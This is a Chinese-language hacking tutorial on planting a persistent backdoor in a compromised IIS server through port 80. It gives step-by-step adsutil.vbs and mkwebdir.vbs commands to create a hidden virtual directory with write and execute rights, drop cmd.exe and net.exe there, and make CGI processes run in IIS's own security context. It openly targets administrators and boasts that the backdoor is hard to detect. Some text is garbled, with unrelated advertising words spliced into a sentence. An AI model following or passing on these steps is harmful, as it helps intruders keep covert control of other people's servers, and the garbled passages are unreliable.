IIS是比较流行的www服务器,设置不当漏洞就很多。入侵ii微端传奇务器后留下后门,以后就可以随时控制。一般的后门程序都是打开一个特殊的端口来监听,比如有nc,ntlm,rnc等等都是以一种类telnet的方式在服务器端监听远程的连接控制。不过一个比较防范严密的www站点(他们的管理员吃了苦头后)一般通过防火墙对端口进行限制,这样除了管理员开的端口外,其他端口就不能连接了。但是80端口是不可能关闭的(如果管理员没有吃错药)。那么我们可以通过在80端口留后门,来开启永远的后门。
如果你对此有情趣,跟我来...........
当IIS启动CGI应用程序时,缺省用CreateProcessAsUserAPI来创建该CGI的新Process,该程序的远程控制该服务器。这时可以有GUI的远程控制,比如3389,或者类telnettext方式的控制,比如rnc。nc肯定是可以用的,其实这也足够了。
1.telnet到服务器
2.cscript.exeadsutil.vbsenumw3svc/1/root
KeyType:(STRING)"IIsWebVirtualDir"
AppRoot:(STRING)"/LM/W3SVC/1/ROOT"
AppFriendlyName:(STRING)"默认应用程序"
AppIsolated:(INTEGER)2
AccessRead:(BOOLEAN)True
AccessWrite:(BOOLEAN)False
AccessExecute:(BOOLEAN)False
Accessscript:(BOOLEAN)True
AccessSource:(BOOLEAN)False
AccessNoRemoteRead:(BOOLEAN)False
AccessNoRemoteWrite:(BOOLEAN)False
AccessNoRemoteExecute:(BOOLEAN)False
AccessNoRemotescript:(BOOLEAN)False
HttpErrors:(LIST)(32Items)
"400,*,FILE,C:\WINNT\help\iisHelp\common\400.htm"
"401,1,FILE,C:\WINNT\help\iisHelp\common\401-1.htm"
"401,2,FILE,C:\WINNT\help\iisHelp\common\401-2.htm"
"401,3,FILE,C:\WINNT\help\iisHelp\common\401-3.htm"
"401,4,FILE,C:\WINNT\help\iisHelp\common\401-4.htm"
"401,5,FILE,C:\WINNT\help\iisHelp\common\401-5.htm"
"403,1,FILE,C:\WINNT\help\iisHelp\common\403-1.htm"
"403,2,FILE,C:\WINNT\help\iisHelp\common\403-2.htm"
"403,3,FILE,C:\WINNT\help\iisHelp\common\403-3.htm"
"403,4,FILE,C:\WINNT\help\iisHelp\common\403-4.htm"
"403,5,FILE,C:\WINNT\help\iisHelp\common\403-5.htm"
"403,6,FILE,C:\WINNT\help\iisHelp\common\403-6.htm"
"403,7,FILE,C:\WINNT\help\iisHelp\common\403-7.htm"
"403,8,FILE,C:\WINNT\help\iisHelp\common\403-8.htm"
"403,9,FILE,C:\WINNT\help\iisHelp\common\403-9.htm"
"403,10,FILE,C:\WINNT\help\iisHelp\common\403-10.htm"
"403,11,FILE,C:\WINNT\help\iisHelp\common\403-11.htm"
"403,12,FILE,C:\WINNT\help\iisHelp\common\403-12.htm"
"403,13,FILE,C:\WINNT\help\iisHelp\common\403-13.htm"
"403,15,FILE,C:\WINNT\help\iisHelp\common\403-15.htm"
"403,16,FILE,C:\WINNT\help\iisHelp\common\403-16.htm"
"403,17,FILE,C:\WINNT\help\iisHelp\common\403-17.htm"
"404,*,FILE,C:\WINNT\help\iisHelp\common\404b.htm"
"405,*,FILE,C:\WINNT\help\iisHelp\common\405.htm"
"406,*,FILE,C:\WINNT\help\iisHelp\common\406.htm"
"407,*,FILE,C:\WINNT\help\iisHelp\common\407.htm"
"412,*,FILE,C:\WINNT\help\iisHelp\common\412.htm"
"414,*,FILE,C:\WINNT\help\iisHelp\common\414.htm"
"500,12,FILE,C:\WINNT\help\iisHelp\common\500-12.htm"
"500,13,FILE,C:\WINNT\help\iisHelp\common\500-13.htm"
"500,15,FILE,C:\WINNT\help\iisHelp\common\500-15.htm"
"500,100,URL,/iisHelp/common/500-100.asp"
FrontPageWeb:(BOOLEAN)True
Path:(STRING)"c:\inetpub\wwwroot"
AccessFlags:(INTEGER)513
[/w3svc/1/root/localstart.asp]
[/w3svc/1/root/_vti_pvt]
[/w3svc/1/root/_vti_log]
[/w3svc/1/root/_private]
[/w3svc/1/root/_vti_txt]
[/w3svc/1/root/_vti_script]
[/w3svc/1/root/_vti_cnf]
[/w3svc/1/root/_vti_bin]
不要告诉我你不知道上面的输出是什么!!!!
现在我们心里已经有底了,是不是!呵呵管理员要倒霉了
3.mkdirc:\inetpub\wwwroot\dir1
4.cscript.exemkwebdir.vbs-cMyComputer-w"DefaultWebSite"-v"VirtualDir1","c:\inetpub\wwwroot\dir1"
这样就建好了一个虚目录:VirtualDir1
你可以用1的命令看一下
5.接下来要改变一下VirtualDir1的属性为execute
cscript.exeadsutil.vbssetw3svc/1/root/VirtualDir1/accesswrite"true"-s:
cscript.exeadsutil.vbssetw3svc/1/root/VirtualDir1/accessexecute"true"-s:
现在你已经可以upload内容到该目录,并且可以运行。你也可以把cmd.exenet.exe直接拷贝到虚拟目录的磁盘目录中。
6.以下命令通过修改iismetabase来迫使iis以本身的安全环境来创建新的CGIprocess
Cscriptadsutil.vbsset/w3svc/1/root/[yourdirectory]/createprocessasuserfalse
注释:cscriptwindowsscripthost.
adsutil.vbswindowsiisadministrationscript
后面是iismetabasepath
这样的后门几乎是无法查出来的,除非把所有的虚目录察看一遍(如果管理员写好了遗书,那他就去查吧)
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